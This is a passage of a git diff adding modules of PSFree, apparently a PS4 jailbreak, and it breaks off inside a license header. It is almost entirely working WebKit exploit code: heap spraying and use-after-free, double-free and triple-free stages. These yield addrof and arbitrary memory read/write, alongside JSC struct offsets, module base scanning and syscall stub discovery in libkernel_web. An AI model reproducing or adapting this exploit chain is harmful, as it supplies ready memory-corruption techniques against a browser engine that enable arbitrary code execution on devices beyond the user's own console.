delete save.views; + delete save.pop; + gc(num_gc); + debug_log('setup_ar() gc done'); + + // Extra sleep if the object hasn't been collected yet, this is to allow + // the garbage collector to preempt us. Keeping the call to gc() lowers the + // average total sleep time. + let total_sleep = 0; + const num_sleep = 8; + // Don't sleep for 9.xx. Tests show it is slower. This check and the sleep + // before double_free() make setup_ar() fast for 9.xx. + while (true && config.target !== config.ps4_9_00) { + await sleep(num_sleep); + total_sleep += num_sleep; + + if (view[0] !== 1) { + break; + } + } + debug_log(`total_sleep: ${total_sleep}`); + // log to check if the garbage collector did collect PopStateEvent + // must not log "1, 0, 0, 0, ..." + debug_log(view); + + let num_spray = 0; + while (true) { + const obj = {}; + num_spray++; + + for (let i = 0; i < num_str; i++) { + let str = new String( + 'B'.repeat(original_strlen - 5) + + i.toString().padStart(5, '0') + ); + obj[str] = 0x1337; + } + + if (view[o.strimpl_inline_str] === 0x42) { + write32(view, o.strimpl_strlen, 0xffffffff); + } else { + continue; + } + + let found = false; + const str_arr = Object.getOwnPropertyNames(obj); + for (let i = 0; i < str_arr.length; i++) { + if (str_arr[i].length > 0xff) { + rstr = str_arr[i]; + found = true; + debug_log('confirmed correct leaked'); + debug_log(`str len: ${rstr.length}`); + debug_log(view); + debug_log(`read address: ${read64(view, o.strimpl_m_data)}`); + break; + } + } + if (!found) { + continue; + } + + debug_log(`num_spray: ${num_spray}`); + return; + } +} + +async function double_free(save) { + const view = save.ab; + + await setup_ar(save); + + // Spraying JSArrayBufferViews + debug_log('spraying views'); + let buffer = new ArrayBuffer(buffer_len); + let tmp = []; + const num_alloc = 0x10000; + const num_threshold = 0xfc00; + const num_diff = num_alloc - num_threshold; + for (let i = 0; i < num_alloc; i++) { + // The last allocated are more likely to be allocated after our relative read + if (i >= num_threshold) { + view_leak_arr.push(new Uint8Array(buffer)); + } else { + tmp.push(new Uint8Array(buffer)); + } + } + tmp = null; + debug_log('done spray views'); + + // Force JSC ref on FastMalloc Heap + // https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151 + let props = []; + for (let i = 0; i < num_diff; i++) { + props.push({ value: 0x43434343 }); + props.push({ value: view_leak_arr[i] }); + } + + debug_log('start find leak'); + // + // /!\ + // This part must avoid as much as possible fastMalloc allocation + // to avoid re-using the targeted object + // /!\ + // + // Use relative read to find our JSC obj + // We want a JSArrayBufferView that is allocated after our relative read + search: while (true) { + Object.defineProperties({}, props); + for (let i = 0; i < 0x800000; i++) { + let v = null; + if (rstr.charCodeAt(i) === 0x43 && + rstr.charCodeAt(i + 1) === 0x43 && + rstr.charCodeAt(i + 2) === 0x43 && + rstr.charCodeAt(i + 3) === 0x43 + ) { + // check if PropertyDescriptor + if (rstr.charCodeAt(i + 0x08) === 0x00 && + rstr.charCodeAt(i + 0x0f) === 0x00 && + rstr.charCodeAt(i + 0x10) === 0x00 && + rstr.charCodeAt(i + 0x17) === 0x00 && + rstr.charCodeAt(i + 0x18) === 0x0e && + rstr.charCodeAt(i + 0x1f) === 0x00 && + rstr.charCodeAt(i + 0x28) === 0x00 && + rstr.charCodeAt(i + 0x2f) === 0x00 && + rstr.charCodeAt(i + 0x30) === 0x00 && + rstr.charCodeAt(i + 0x37) === 0x00 && + rstr.charCodeAt(i + 0x38) === 0x0e && + rstr.charCodeAt(i + 0x3f) === 0x00 + ) { + v = str2array(rstr, 8, i + 0x20); + // check if array of JSValues pointed by m_buffer + } else if (rstr.charCodeAt(i + 0x10) === 0x43 && + rstr.charCodeAt(i + 0x11) === 0x43 && + rstr.charCodeAt(i + 0x12) === 0x43 && + rstr.charCodeAt(i + 0x13) === 0x43) { + v = str2array(rstr, 8, i + 8); + } + } + if (v !== null) { + view_leak = new Int(v); + break search; + } + } + } + // + // /!\ + // Critical part ended-up here + // /!\ + // + debug_log('end find leak'); + debug_log('view addr ' + view_leak); + + let rstr_addr = read64(view, o.strimpl_m_data); + write64(view, o.strimpl_m_data, view_leak); + for (let i = 0; i < 4; i++) { + jsview.push(sread64(rstr, i*8)); + } + write64(view, o.strimpl_m_data, rstr_addr); + write32(view, o.strimpl_strlen, original_strlen); + debug_log('contents of JSArrayBufferView'); + debug_log(jsview); +} + +function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) { + const old_m_data = read64(view_rstr, o.strimpl_m_data); + + let res = null; + write64(view_rstr, o.strimpl_m_data, view_m_vector); + for (const view of view_arr) { + const magic = 0x41424344; + write32(view, 0, magic); + + if (sread64(rstr, 0).low() === magic) { + res = view; + break; + } + } + write64(view_rstr, o.strimpl_m_data, old_m_data); + + if (res === null) { + die('not found'); + } + return res; +} + + +class Reader { + // leaker will be the view whose address we leaked + constructor(rstr, view_rstr, leaker, leaker_addr) { + this.rstr = rstr; + this.view_rstr = view_rstr; + this.leaker = leaker; + this.leaker_addr = leaker_addr; + this.old_m_data = read64(view_rstr, o.strimpl_m_data); + + // Create a butterfy with the "a" property as the first. leaker is a + // JSArrayBufferView. Instances of that class don't have inlined + // properties and the butterfly is immediately created. + leaker.a = 0; // dummy value, we just want to create the "a" property + } + + addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + + this.leaker.a = obj; + + // no need to modify the length, original_strlen is large enough + write64(this.view_rstr, o.strimpl_m_data, this.leaker_addr); + + const butterfly = sread64(this.rstr, o.js_butterfly); + write64(this.view_rstr, o.strimpl_m_data, butterfly.sub(0x10)); + + const res = sread64(this.rstr, 0); + + write64(this.view_rstr, o.strimpl_m_data, this.old_m_data); + return res; + } + + get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + + write64(this.view_rstr, o.strimpl_m_data, this.addrof(view)); + const res = sread64(this.rstr, o.view_m_vector); + + write64(this.view_rstr, o.strimpl_m_data, this.old_m_data); + return res; + } +} + +// data to write to the SerializedScriptValue +// +// Setup to make deserialization create an ArrayBuffer with its buffer address +// pointing to a JSArrayBufferView (worker). +// +// TypedArrays (JSArrayBufferView) created via "new TypedArray(x)" where x <= +// 1000 (fastSizeLimit) have ther buffers allocated on the JavaScript heap +// (m_mode = FastTypedArray). Requesting the buffer property ("view.buffer") +// (calls possiblySharedBuffer()) of such a view will allocate a new buffer on +// the fastMalloc heap, the contents of the old one will be copied. This will +// change the m_vector field, so care must be taken if you cache the result of +// get_view_vector(), you must call it again to get the updated field. +// +// See enum TypedArrayMode from +// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h and +// possiblySharedBuffer() from +// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h at PS4 8.03. +function setup_ssv_data(reader) { + const r = reader; + // sizeof WTF::Vector + const size_vector = 0x10; + // sizeof JSC::ArrayBufferContents + const size_abc = config.target === config.ps4_9_00 ? 0x18 : 0x20; + + // WTF::Vector + const m_data = new Uint8Array(size_vector); + const data = new Uint8Array(9); + + // m_buffer + write64(m_data, 0, r.get_view_vector(data)); + // m_capacity + write32(m_data, 8, data.length); + // m_size + write32(m_data, 0xc, data.length); + + // 6 is the serialization format version number for ps4 6.00. The format + // is backwards compatible and using a value less than the current version + // number used by a specific WebKit version is considered valid. + // + // See CloneDeserializer::isValid() from + // WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.03. + const CurrentVersion = 6; + const ArrayBufferTransferTag = 23; + write32(data, 0, CurrentVersion); + data[4] = ArrayBufferTransferTag; + write32(data, 5, 0); + + // WTF::Vector + const abc_vector = new Uint8Array(size_vector); + // JSC::ArrayBufferContents + const abc = new Uint8Array(size_abc); + + write64(abc_vector, 0, r.get_view_vector(abc)); + write32(abc_vector, 8, 1); + write32(abc_vector, 0xc, 1); + + // m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap, + // unlike FastTypedArray, where the buffer is managed by the GC. This + // prevents random crashes. + // + // See JSGenericTypedArrayView::visitChildren() from + // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at + // PS4 8.03. + const worker = new Uint8Array(new ArrayBuffer(1)); + + if (config.target !== config.ps4_9_00) { + // m_destructor + write64(abc, 0, Int.Zero); + // m_shared + write64(abc, 8, Int.Zero); + // m_data + write64(abc, 0x10, r.addrof(worker)); + // m_sizeInBytes + write32(abc, 0x18, o.size_view); + } else { + // m_data + // m_data + write64(abc, 0, r.addrof(worker)); + // m_destructor + write64(abc, 8, Int.Zero); + // m_shared + write64(abc, 0xe, Int.Zero); + // m_sizeInBytes + write32(abc, 0x14, o.size_view); + } + + return { + m_data, + m_arrayBufferContentsArray : r.get_view_vector(abc_vector), + worker, + // keep a reference to prevent garbage collection + nogc : [ + data, + abc_vector, + abc, + ], + }; +} + +// get arbitrary read/write +async function setup_arw(save, ssv_data) { + const num_msg = 1000; + const view = save.ab; + let msgs = []; + + function onmessage(event) { + msgs.push(event); + } + addEventListener('message', onmessage); + + // Free the StringImpl so we can spray SerializedScriptValues over the + // buffer of the view. The StringImpl is safe to free since we fixed it up + // earlier. + rstr = null; + while (true) { + for (let i = 0; i < num_msg; i++) { + postMessage('', origin); + } + + while (msgs.length !== num_msg) { + await sleep(100); + } + + if (view[o.strimpl_inline_str] !== 0x42) { + break; + } + + msgs = []; + } + removeEventListener('message', onmessage); + + debug_log('view contents:'); + for (let i = 0; i < ssv_len; i += 8) { + debug_log(read64(view, i)); + } + + // save SerializedScriptValue + const copy = []; + for (let i = 0; i < view.length; i++) { + copy.push(view[i]); + } + + const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data; + write64(view, 8, read64(m_data, 0)); + write64(view, 0x10, read64(m_data, 8)); + write64(view, 0x18, m_arrayBufferContentsArray); + + for (const msg of msgs) { + if (msg.data !== '') { + //alert('achieved arbitrary r/w'); + debug_log('achieved arbitrary r/w'); + + const u = new Uint8Array(msg.data); + debug_log('deserialized ArrayBuffer:'); + for (let i = 0; i < o.size_view; i += 8) { + debug_log(read64(u, i)); + } + + const mem = new Memory(u, worker); + + window.p = { + read1(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read8(addr); + return res; + }, + + read2(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read16(addr); + return res; + }, + + read4(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read32(addr); + return res; + }, + + read8(addr) { + addr = new Int(addr.low, addr.hi); + const res = mem.read64(addr); + return new int64(res.low(), res.high()); + }, + + write1(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write8(addr, value); + }, + + write2(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write16(addr, value); + }, + + write4(addr, value) { + addr = new Int(addr.low, addr.hi); + mem.write32(addr, value); + }, + + write8(addr, value) { + addr = new Int(addr.low, addr.hi); + if (value instanceof int64) { + value = new Int(value.low, value.hi); + mem.write64(addr, value); + } else { + mem.write64(addr, new Int(value)); + } + + }, + + leakval(obj) { + const res = mem.addrof(obj); + return new int64(res.low(), res.high()); + } + }; + + // restore SerializedScriptValue + view.set(copy); + + // cleanup + view_leak_arr = null; + view_leak = null; + jsview = null; + input = null; + foo = null; + + // Before s1.ab gets garbage collected and its underlying buffer + // on the fastMalloc heap is freed, another object could be + // allocated in the meantime. That object could be freed + // prematurely once the GC occurs. This could corrupt the object + // if another object is allocated in the same memory area. + // + // So we will keep s1 alive. + + return; + } + } + die('no arbitrary r/w'); +} + +// Don't create additional references to rstr, use the global variable. This +// is to make dropping all its references easy (change the value of the global +// variable). +async function triple_free( + save, + // contents of the leaked JSArrayBufferView + jsview, + view_leak_arr, + leaked_view_addr, +) { + const leaker = find_leaked_view(rstr, save.ab, jsview[2], view_leak_arr); + let r = new Reader(rstr, save.ab, leaker, leaked_view_addr); + const ssv_data = setup_ssv_data(r); + + // r contains a reference to rstr, drop it for setup_arw2() + r = null; + await setup_arw(save, ssv_data); +} + +function pop(event, save) { + let spray_res = check_spray(save.views); + if (spray_res === null) { + die('failed spray'); + } else { + save.pop = event; + save.ab = save.views[spray_res]; + debug_log('ssv len: ' + ssv_len); + debug_log('view index: ' + spray_res); + debug_log(save.ab); + } +} + +// For some reason the input element is being blurred by something else (we +// don't know what) if we execute use_after_free() before the DOMContentLoaded +// event fires. The input must only be blurred by history.back(), which will +// change the focus from the input to the foo element. +async function get_ready() { + debug_log('readyState: ' + document.readyState); + await new Promise((resolve, reject) => { + if (document.readyState !== "complete") { + document.addEventListener("DOMContentLoaded", resolve); + return; + } + resolve(); + }); +} + +async function run() { + debug_log('stage: readying'); + await get_ready(); + + debug_log('Jailbreaking..... Wait'); + await use_after_free(pop, s1); + + // we trigger the leak first because it is more likely to work + // than if it were to happen during the second ssv smashing + // on the ps4 + debug_log('Jailbreaking....... Wait'); + // * keeps setup_ar()'s total sleep even lower + // * also helps the garbage collector scheduling for 9.xx + await sleep(0); + await double_free(s1); + debug_log('Jailbreaking........... Wait'); + await triple_free(s1, jsview, view_leak_arr, view_leak); + + //clear_log(); + run_hax(); +} + +run(); diff --git a/restore/900New/int64.mjs b/restore/900New/int64.mjs new file mode 100644 index 0000000..5e9864e --- /dev/null +++ b/restore/900New/int64.mjs @@ -0,0 +1,198 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +function check_range(x) { + return (-0x80000000 <= x) && (x <= 0xffffffff); +} + +function unhexlify(hexstr) { + if (hexstr.substring(0, 2) === "0x") { + hexstr = hexstr.substring(2); + } + if (hexstr.length % 2 === 1) { + hexstr = '0' + hexstr; + } + if (hexstr.length % 2 === 1) { + throw TypeError("Invalid hex string"); + } + + let bytes = new Uint8Array(hexstr.length / 2); + for (let i = 0; i < hexstr.length; i += 2) { + let new_i = hexstr.length - 2 - i; + let substr = hexstr.slice(new_i, new_i + 2); + bytes[i / 2] = parseInt(substr, 16); + } + + return bytes; +} + +// Decorator for Int instance operations. Takes care +// of converting arguments to Int instances if required. +function operation(f, nargs) { + return function () { + if (arguments.length !== nargs) + throw Error("Not enough arguments for function " + f.name); + let new_args = []; + for (let i = 0; i < arguments.length; i++) { + if (!(arguments[i] instanceof Int)) { + new_args[i] = new Int(arguments[i]); + } else { + new_args[i] = arguments[i]; + } + } + return f.apply(this, new_args); + }; +} + +export class Int { + constructor(low, high) { + let buffer = new Uint32Array(2); + let bytes = new Uint8Array(buffer.buffer); + + if (arguments.length > 2) { + throw TypeError('Int takes at most 2 args'); + } + if (arguments.length === 0) { + throw TypeError('Int takes at min 1 args'); + } + let is_one = false; + if (arguments.length === 1) { + is_one = true; + } + + if (!is_one) { + if (typeof (low) !== 'number' + && typeof (high) !== 'number') { + throw TypeError('low/high must be numbers'); + } + } + + if (typeof low === 'number') { + if (!check_range(low)) { + throw TypeError('low not a valid value: ' + low); + } + if (is_one) { + high = 0; + if (low < 0) { + high = -1; + } + } else { + if (!check_range(high)) { + throw TypeError('high not a valid value: ' + high); + } + } + buffer[0] = low; + buffer[1] = high; + } else if (typeof low === 'string') { + bytes.set(unhexlify(low)); + } else if (typeof low === 'object') { + if (low instanceof Int) { + bytes.set(low.bytes); + } else { + if (low.length !== 8) + throw TypeError("Array must have exactly 8 elements."); + bytes.set(low); + } + } else { + throw TypeError('Int does not support your object for conversion'); + } + + this.buffer = buffer; + this.bytes = bytes; + + this.eq = operation(function eq(b) { + const a = this; + return a.low() === b.low() && a.high() === b.high(); + }, 1); + + this.neg = operation(function neg() { + let type = this.constructor; + + let low = ~this.low(); + let high = ~this.high(); + + let res = (new Int(low, high)).add(1); + + return new type(res); + }, 0); + + this.add = operation(function add(b) { + let type = this.constructor; + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + + this.sub = operation(function sub(b) { + let type = this.constructor; + + b = b.neg(); + + let low = this.low(); + let high = this.high(); + + low += b.low(); + let carry = 0; + if (low > 0xffffffff) { + carry = 1; + } + high += carry + b.high(); + + low &= 0xffffffff; + high &= 0xffffffff; + + return new type(low, high); + }, 1); + } + + low() { + return this.buffer[0]; + } + + high() { + return this.buffer[1]; + } + + toString(is_pretty) { + if (!is_pretty) { + let low = this.low().toString(16).padStart(8, '0'); + let high = this.high().toString(16).padStart(8, '0'); + return '0x' + high + low; + } + let high = this.high().toString(16).padStart(8, '0'); + high = high.substring(0, 4) + '_' + high.substring(4); + + let low = this.low().toString(16).padStart(8, '0'); + low = low.substring(0, 4) + '_' + low.substring(4); + return '0x' + high + '_' + low; + } +} + +Int.Zero = new Int(0); +Int.One = new Int(1); diff --git a/restore/900New/mem.mjs b/restore/900New/mem.mjs new file mode 100644 index 0000000..9532a02 --- /dev/null +++ b/restore/900New/mem.mjs @@ -0,0 +1,228 @@ +/* Copyright (C) 2023-2024 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +import { Int } from './int64.mjs'; +import { + read16, + read32, + read64, + write16, + write32, + write64, +} from './rw.mjs'; +import * as o from './offset.mjs'; + +export let mem = null; + +function init_module(memory) { + mem = memory; +} + +export class Addr extends Int { + read8(offset) { + const addr = this.add(offset); + return mem.read8(addr); + } + + read16(offset) { + const addr = this.add(offset); + return mem.read16(addr); + } + + read32(offset) { + const addr = this.add(offset); + return mem.read32(addr); + } + + read64(offset) { + const addr = this.add(offset); + return mem.read64(addr); + } + + // returns a pointer instead of an Int + readp(offset) { + const addr = this.add(offset); + return mem.readp(addr); + } + + write8(offset, value) { + const addr = this.add(offset); + + mem.write8(addr, value); + } + + write16(offset, value) { + const addr = this.add(offset); + + mem.write16(addr, value); + } + + write32(offset, value) { + const addr = this.add(offset); + + mem.write32(addr, value); + } + + write64(offset, value) { + const addr = this.add(offset); + + mem.write64(addr, value); + } +} + +class MemoryBase { + _addrof(obj) { + if (typeof obj !== 'object' + && typeof obj !== 'function' + ) { + throw TypeError('addrof argument not a JS object'); + } + this.worker.a = obj; + write64(this.main, o.view_m_vector, this.butterfly.sub(0x10)); + let res = read64(this.worker, 0); + write64(this.main, o.view_m_vector, this._current_addr); + + return res; + } + + addrof(obj) { + return new Addr(this._addrof(obj)); + } + + set_addr(addr) { + if (!(addr instanceof Int)) { + throw TypeError('addr must be an Int'); + } + this._current_addr = addr; + write64(this.main, o.view_m_vector, this._current_addr); + } + + get_addr() { + return this._current_addr; + } + + // write0() is for when you want to write to address 0. You can't use for + // example: "mem.write32(Int.Zero, 0)", since you can't set by index the + // view when it isDetached(). isDetached() == true when m_mode >= + // WastefulTypedArray and m_vector == 0. + // + // Functions like write32() will index mem.worker via write() from rw.mjs. + // + // size is the number of bits to read/write. + // + // The constraint is 0 <= offset + 1 < 2**32. + // + // PS4 firmwares >= 9.00 and any PS5 version can write to address 0 + // directly. All firmwares (PS4 and PS5) can read address 0 directly. + // + // See setIndex() from + // WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayView.h at PS4 + // 8.03 for more information. Affected firmwares will get this error: + // + // TypeError: Underlying ArrayBuffer has been detached from the view + write0(size, offset, value) { + const i = offset + 1; + if (i >= 2**32 || i < 0) { + throw RangeError(`read0() invalid offset: ${offset}`); + } + + this.set_addr(new Int(-1)); + + switch (size) { + case 8: { + this.worker[i] = value; + } + case 16: { + write16(this.worker, i, value); + } + case 32: { + write32(this.worker, i, value); + } + case 64: { + write64(this.worker, i, value); + } + default: { + throw RangeError(`write0() invalid size: ${size}`); + } + } + } + + read8(addr) { + this.set_addr(addr); + return this.worker[0]; + } + + read16(addr) { + this.set_addr(addr); + return read16(this.worker, 0); + } + + read32(addr) { + this.set_addr(addr); + return read32(this.worker, 0); + } + + read64(addr) { + this.set_addr(addr); + return read64(this.worker, 0); + } + + // returns a pointer instead of an Int + readp(addr) { + return new Addr(this.read64(addr)); + } + + write8(addr, value) { + this.set_addr(addr); + this.worker[0] = value; + } + + write16(addr, value) { + this.set_addr(addr); + write16(this.worker, 0, value); + } + + write32(addr, value) { + this.set_addr(addr); + write32(this.worker, 0, value); + } + + write64(addr, value) { + this.set_addr(addr); + write64(this.worker, 0, value); + } +} + +export class Memory extends MemoryBase { + constructor(main, worker) { + super(); + + this.main = main; + this.worker = worker; + + // The initial creation of the "a" property will change the butterfly + // address. Do it now so we can cache it for addrof(). + worker.a = 0; // dummy value, we just want to create the "a" property + this.butterfly = read64(main, o.js_butterfly); + + write32(main, o.view_m_length, 0xffffffff); + + this._current_addr = Int.Zero; + + init_module(this); + } +} diff --git a/restore/900New/memtools.mjs b/restore/900New/memtools.mjs new file mode 100644 index 0000000..7c57355 --- /dev/null +++ b/restore/900New/memtools.mjs @@ -0,0 +1,244 @@ +/* Copyright (C) 2023-2024 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// This module are for utilities that depend on running the exploit first + +import { Int } from './int64.mjs'; +import { Addr, mem } from './mem.mjs'; +import { align } from './utils.mjs'; +import { KB } from './constants.mjs'; +import { read32 } from './rw.mjs'; + +import * as rw from './rw.mjs'; +import * as o from './offset.mjs'; + +// creates an ArrayBuffer whose contents is copied from addr +export function make_buffer(addr, size) { + // see enum TypedArrayMode from + // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h + // at webkitgtk 2.34.4 + // + // see possiblySharedBuffer() from + // WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h + // at webkitgtk 2.34.4 + // + // Views with m_mode < WastefulTypedArray don't have an ArrayBuffer object + // associated with them, if we ask for view.buffer, the view will be + // converted into a WastefulTypedArray and an ArrayBuffer will be created. + // + // We will create an OversizeTypedArray via requesting an Uint8Array whose + // number of elements will be greater than fastSizeLimit (1000). + // + // We will not use a FastTypedArray since its m_vector is visited by the + // GC and we will temporarily change it. The GC expects addresses from the + // JS heap, and that heap has metadata that the GC uses. The GC will likely + // crash since valid metadata won't likely be found at arbitrary addresses. + // + // The FastTypedArray approach will have a small time frame where the GC + // can inspect the invalid m_vector field. + // + // Views created via "new TypedArray(x)" where "x" is a number will always + // have an m_mode < WastefulTypedArray. + const u = new Uint8Array(1001); + const u_addr = mem.addrof(u); + + // we won't change the butterfly and m_mode so we won't save those + const old_addr = u_addr.read64(o.view_m_vector); + const old_size = u_addr.read32(o.view_m_length); + + u_addr.write64(o.view_m_vector, addr); + u_addr.write32(o.view_m_length, size); + + const copy = new Uint8Array(u.length); + copy.set(u); + + // We can't use slowDownAndWasteMemory() on u since that will create a + // JSC::ArrayBufferContents with its m_data pointing to addr. On the + // ArrayBuffer's death, it will call WTF::fastFree() on m_data. This can + // cause a crash if the m_data is not from the fastMalloc heap, and even if + // it is, freeing abitrary addresses is dangerous as it may lead to a + // use-after-free. + const res = copy.buffer; + + // restore + u_addr.write64(o.view_m_vector, old_addr); + u_addr.write32(o.view_m_length, old_size); + + return res; +} + +// these values came from analyzing dumps from CelesteBlue +function check_magic_at(p, is_text) { + // byte sequence that is very likely to appear at offset 0 of a .text + // segment + const text_magic = [ + new Int([0x55, 0x48, 0x89, 0xe5, 0x41, 0x57, 0x41, 0x56]), + new Int([0x41, 0x55, 0x41, 0x54, 0x53, 0x50, 0x48, 0x8d]), + ]; + + // the .data "magic" is just a portion of the PT_SCE_MODULE_PARAM segment + + // .data magic from 3.00, 6.00, and 6.20 + //const data_magic = [ + // new Int(0x18), + // new Int(0x3c13f4bf, 0x1), + //]; + + // .data magic from 8.00 and 8.03 + const data_magic = [ + new Int(0x20), + new Int(0x3c13f4bf, 0x2), + ]; + + const magic = is_text ? text_magic : data_magic; + const value = [p.read64(0), p.read64(8)]; + + return value[0].eq(magic[0]) && value[1].eq(magic[1]); +} + +// Finds the base address of a segment: .text or .data +// Used on the ps4 to locate module base addresses +// * p: +// an address pointing somewhere in the segment to search +// * is_text: +// whether the segment is .text or .data +// * is_back: +// whether to search backwards (to lower addresses) or forwards +// +// Modules are likely to be separated by a couple of unmapped pages because of +// Address Space Layout Randomization (all module base addresses are +// randomized). This means that this function will either succeed or crash on +// a page fault, if the magic is not present. +// +// To be precise, modules are likely to be "surrounded" by unmapped pages, it +// does not mean that the distance between a boundary of a module and the +// nearest unmapped page is 0. +// +// The boundaries of a module is its base and end addresses. +// +// let module_base_addr = find_base(...); +// // Not guaranteed to crash, the nearest unmapped page is not necessarily at +// // 0 distance away from module_base_addr. +// addr.read8(-1); +// +export function find_base(addr, is_text, is_back) { + // ps4 page size + const page_size = 16 * KB; + // align to page size + addr = align(addr, page_size); + const offset = (is_back ? -1 : 1) * page_size; + while (true) { + if (check_magic_at(addr, is_text)) { + break; + } + addr = addr.add(offset) + } + return addr; +} + +// gets the address of the underlying buffer of a JSC::JSArrayBufferView +export function get_view_vector(view) { + if (!ArrayBuffer.isView(view)) { + throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`); + } + return mem.addrof(view).readp(o.view_m_vector); +} + +export function resolve_import(import_addr) { + if (import_addr.read16(0) !== 0x25ff) { + throw Error( + `instruction at ${import_addr} is not of the form: jmp qword` + + ' [rip + X]' + ); + } + // module_function_import: + // jmp qword [rip + X] + // ff 25 xx xx xx xx // signed 32-bit displacement + const disp = import_addr.read32(2); + // sign extend + const offset = new Int(disp, disp >> 31); + // The rIP value used by "jmp [rip + X]" instructions is actually the rIP + // of the next instruction. This means that the actual address used is + // [rip + X + sizeof(jmp_insn)], where sizeof(jmp_insn) is the size of the + // jump instruction, which is 6 in this case. + const function_addr = import_addr.readp(offset.add(6)); + + return function_addr; +} + +export function init_syscall_array( + syscall_array, + libkernel_web_base, + max_search_size, +) { + if (typeof max_search_size !== 'number') { + throw TypeError(`max_search_size is not a number: ${max_search_size}`); + } + if (max_search_size < 0) { + throw Error(`max_search_size is less than 0: ${max_search_size}`); + } + + const libkernel_web_buffer = make_buffer( + libkernel_web_base, + max_search_size, + ); + const kbuf = new Uint8Array(libkernel_web_buffer); + + // Search 'rdlo' string from libkernel_web's .rodata section to gain an + // upper bound on the size of the .text section. + let text_size = 0; + let found = false; + for (let i = 0; i < max_search_size; i++) { + if (kbuf[i] === 0x72 + && kbuf[i + 1] === 0x64 + && kbuf[i + 2] === 0x6c + && kbuf[i + 3] === 0x6f + ) { + text_size = i; + found = true; + break; + } + } + if (!found) { + throw Error( + '"rdlo" string not found in libkernel_web, base address:' + + ` ${libkernel_web_base}` + ); + } + + // search for the instruction sequence: + // syscall_X: + // mov rax, X + // mov r10, rcx + // syscall + for (let i = 0; i < text_size; i++) { + if (kbuf[i] === 0x48 + && kbuf[i + 1] === 0xc7 + && kbuf[i + 2] === 0xc0 + && kbuf[i + 7] === 0x49 + && kbuf[i + 8] === 0x89 + && kbuf[i + 9] === 0xca + && kbuf[i + 10] === 0x0f + && kbuf[i + 11] === 0x05 + ) { + const syscall_num = read32(kbuf, i + 3); + syscall_array[syscall_num] = libkernel_web_base.add(i); + // skip the sequence + i += 11; + } + } +} diff --git a/restore/900New/offset.mjs b/restore/900New/offset.mjs new file mode 100644 index 0000000..509260c --- /dev/null +++ b/restore/900New/offset.mjs @@ -0,0 +1,35 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// offsets for JSC::JSObject +export const js_butterfly = 0x8; + +// offsets for JSC::JSArrayBufferView +export const view_m_vector = 0x10; +export const view_m_length = 0x18; +export const view_m_mode = 0x1c; + +// sizeof JSC::JSArrayBufferView +export const size_view = 0x20; + +// offsets for WTF::StringImpl +export const strimpl_strlen = 4; +export const strimpl_m_data = 8; +export const strimpl_inline_str = 0x14; + +// sizeof WTF::StringImpl +export const size_strimpl = 0x18; diff --git a/restore/900New/restore900.bin b/restore/900New/restore900.bin new file mode 100644 index 0000000..3f778e8 Binary files /dev/null and b/restore/900New/restore900.bin differ diff --git a/restore/900New/rw.mjs b/restore/900New/rw.mjs new file mode 100644 index 0000000..7ebfb9e --- /dev/null +++ b/restore/900New/rw.mjs @@ -0,0 +1,105 @@ +/* Copyright (C) 2023 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. 